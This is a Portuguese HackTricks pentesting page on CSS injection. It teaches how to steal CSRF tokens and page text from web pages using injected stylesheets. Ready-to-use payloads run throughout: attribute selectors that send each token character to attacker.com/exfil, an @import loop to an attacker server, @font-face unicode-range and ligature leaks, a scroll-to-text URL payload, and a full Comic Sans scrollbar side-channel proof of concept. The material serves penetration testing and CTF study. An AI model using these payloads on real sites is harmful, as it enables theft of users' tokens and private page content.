hacktricks/pentesting-web/xs-search/css-injection/README.md
2024-12-12 13:56:11 +01:00

473 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSS Injection
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## CSS Injection
### Seletor de Atributo
Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo value do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (`type="hidden"`) porque elementos ocultos não carregam fundos.
#### Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Pré-requisitos para Injeção de CSS
Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:
1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores elaborados.
2. **Reavaliação de CSS**: Você deve ter a capacidade de emoldurar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
3. **Recursos Externos**: A técnica assume a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.
### Seletor de Atributo Cego
Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS.\
Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção de CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção de CSS**.
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funciona assim:
Em vez de carregar a mesma página repetidamente com dezenas de diferentes payloads a cada vez (como na anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a ser enviado para a vítima):
```css
@import url('//attacker.com:5001/start?');
```
1. A importação vai **receber algum script CSS** dos atacantes e o **navegador irá carregá-lo**.
2. A primeira parte do script CSS que o atacante enviará é **outra `@import` para o servidor dos atacantes novamente.**
1. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.
3. A segunda e maior parte da carga útil será um **payload de vazamento de seletor de atributo**
1. Isso enviará ao servidor dos atacantes o **primeiro caractere do segredo e o último**
4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e o último caractere do segredo**, ele **responderá à importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e depois o penúltimo**.
O atacante **seguirá esse loop até conseguir vazar completamente o segredo**.
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
{% hint style="info" %}
O script tentará descobrir 2 caracteres a cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Isso permite que o script vaze o segredo mais rápido.
{% endhint %}
{% hint style="warning" %}
Às vezes, o script **não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa** e continuará avançando (no prefixo) e retrocedendo (no sufixo) e em algum momento ficará travado.\
Sem preocupações, apenas verifique a **saída** porque **você pode ver a flag lá**.
{% endhint %}
### Outros seletores
Outras maneiras de acessar partes do DOM com **seletores CSS**:
* **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
* **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### XS-Search baseado em erro
**Referência:** [Ataque baseado em CSS: Abusando unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
A intenção geral é **usar uma fonte personalizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
1. **Uso de Fonte Personalizada**:
- Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `<style>` na seção `<head>`.
- A fonte é nomeada `poc` e é buscada de um endpoint externo (`http://attacker.com/?leak`).
- A propriedade `unicode-range` é definida como `U+0041`, direcionando o caractere Unicode específico 'A'.
2. **Elemento Object com Texto de Reposição**:
- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
- A `font-family` para este elemento é definida como `'poc'`, conforme definido na seção `<style>`.
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reposição (a letra 'A') dentro da tag `<object>` é exibido.
- O conteúdo de reposição ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
### Estilizando Fragmento de Texto para Rolagem
A **`:target`** pseudo-classe é empregada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação de Seletores CSS Nível 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
Uma preocupação de segurança surge quando atacantes exploram o recurso **Scroll-to-text**, permitindo que confirmem a presença de texto específico em uma página da web ao carregar um recurso de seu servidor através da injeção de HTML. O método envolve injetar uma regra CSS como esta:
```css
:target::before { content : url(target.png) }
```
Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância deste ataque pode ser executada através de uma URL especialmente elaborada que incorpora o CSS injetado junto com um fragmento Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrator" através do fragmento Scroll-to-text (`#:~:text=Administrator`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença para o atacante.
Para mitigação, os seguintes pontos devem ser observados:
1. **Correspondência STTF Constrangida**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
2. **Restrição a Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
A conscientização sobre esses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias.
Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Você pode conferir um [**exploit usando esta técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Você pode especificar **fontes externas para valores unicode específicos** que só serão **coletados se esses valores unicode estiverem presentes** na página. Por exemplo:
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
```
Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de sensitive-information contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
### Exfiltração de nó de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referência:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
A técnica descrita envolve a extração de texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:
1. **Criação de Fontes Personalizadas**:
- Fontes SVG são criadas com glifos que têm um atributo `horiz-adv-x`, que define uma largura grande para um glifo representando uma sequência de dois caracteres.
- Exemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, onde "XY" denota uma sequência de dois caracteres.
- Essas fontes são então convertidas para o formato woff usando fontforge.
2. **Detecção de Mudanças de Largura**:
- CSS é usado para garantir que o texto não quebre (`white-space: nowrap`) e para personalizar o estilo da barra de rolagem.
- A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.
- O CSS envolvido:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **Processo de Exploração**:
- **Passo 1**: Fontes são criadas para pares de caracteres com largura substancial.
- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de grande largura (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- **Passo 3**: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
- **Passo 4**: A detecção da ligadura de três caracteres é realizada.
- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
4. **Otimização**:
- O método de inicialização atual usando `<meta refresh=...` não é ideal.
- Uma abordagem mais eficiente poderia envolver o truque CSS `@import`, melhorando o desempenho da exploração.
### Exfiltração de nó de texto (II): vazando o charset com uma fonte padrão (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Esse truque foi lançado neste [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). O charset usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: não são necessárias fontes externas -ou personalizadas-.
O conceito gira em torno da utilização de uma animação para expandir gradualmente a largura de um `div`, permitindo que um caractere de cada vez transite da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo efetivamente divide o texto em duas seções:
1. **Prefixo**: A linha inicial.
2. **Sufixo**: A(s) linha(s) subsequente(s).
As etapas de transição dos caracteres apareceriam da seguinte forma:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Durante essa transição, o **truque unicode-range** é empregado para identificar cada novo caractere à medida que se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta do que a fonte padrão, acionando assim uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
Embora esse método permita a detecção de caracteres únicos à medida que aparecem, não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
{% hint style="info" %}
Basicamente, o **unicode-range é usado para detectar um char**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
Quando o **char** é **encontrado**, ele é **dado** a fonte **Comic Sans** pré-instalada, que **torna** o char **maior** e **aciona uma barra de rolagem** que irá **vazar o char encontrado**.
{% endhint %}
Verifique o código extraído do PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao esconder elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é esconder algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
### Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, poderíamos tentar vazar se um char está no texto carregando uma fonte falsa da mesma origem:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não carregue com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, existe um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
No entanto, se a diferença de tempo da resposta em cache em relação à não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
### Exfiltração de nó de texto (III): vazando o charset ao cronometrar o carregamento de centenas de "fontes" locais (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, você pode indicar **CSS para carregar centenas de fontes falsas** da mesma origem quando uma correspondência ocorre. Dessa forma, você pode **medir o tempo** que leva e descobrir se um caractere aparece ou não com algo como:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
E o código do bot se parece com isto:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.
## Referências
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}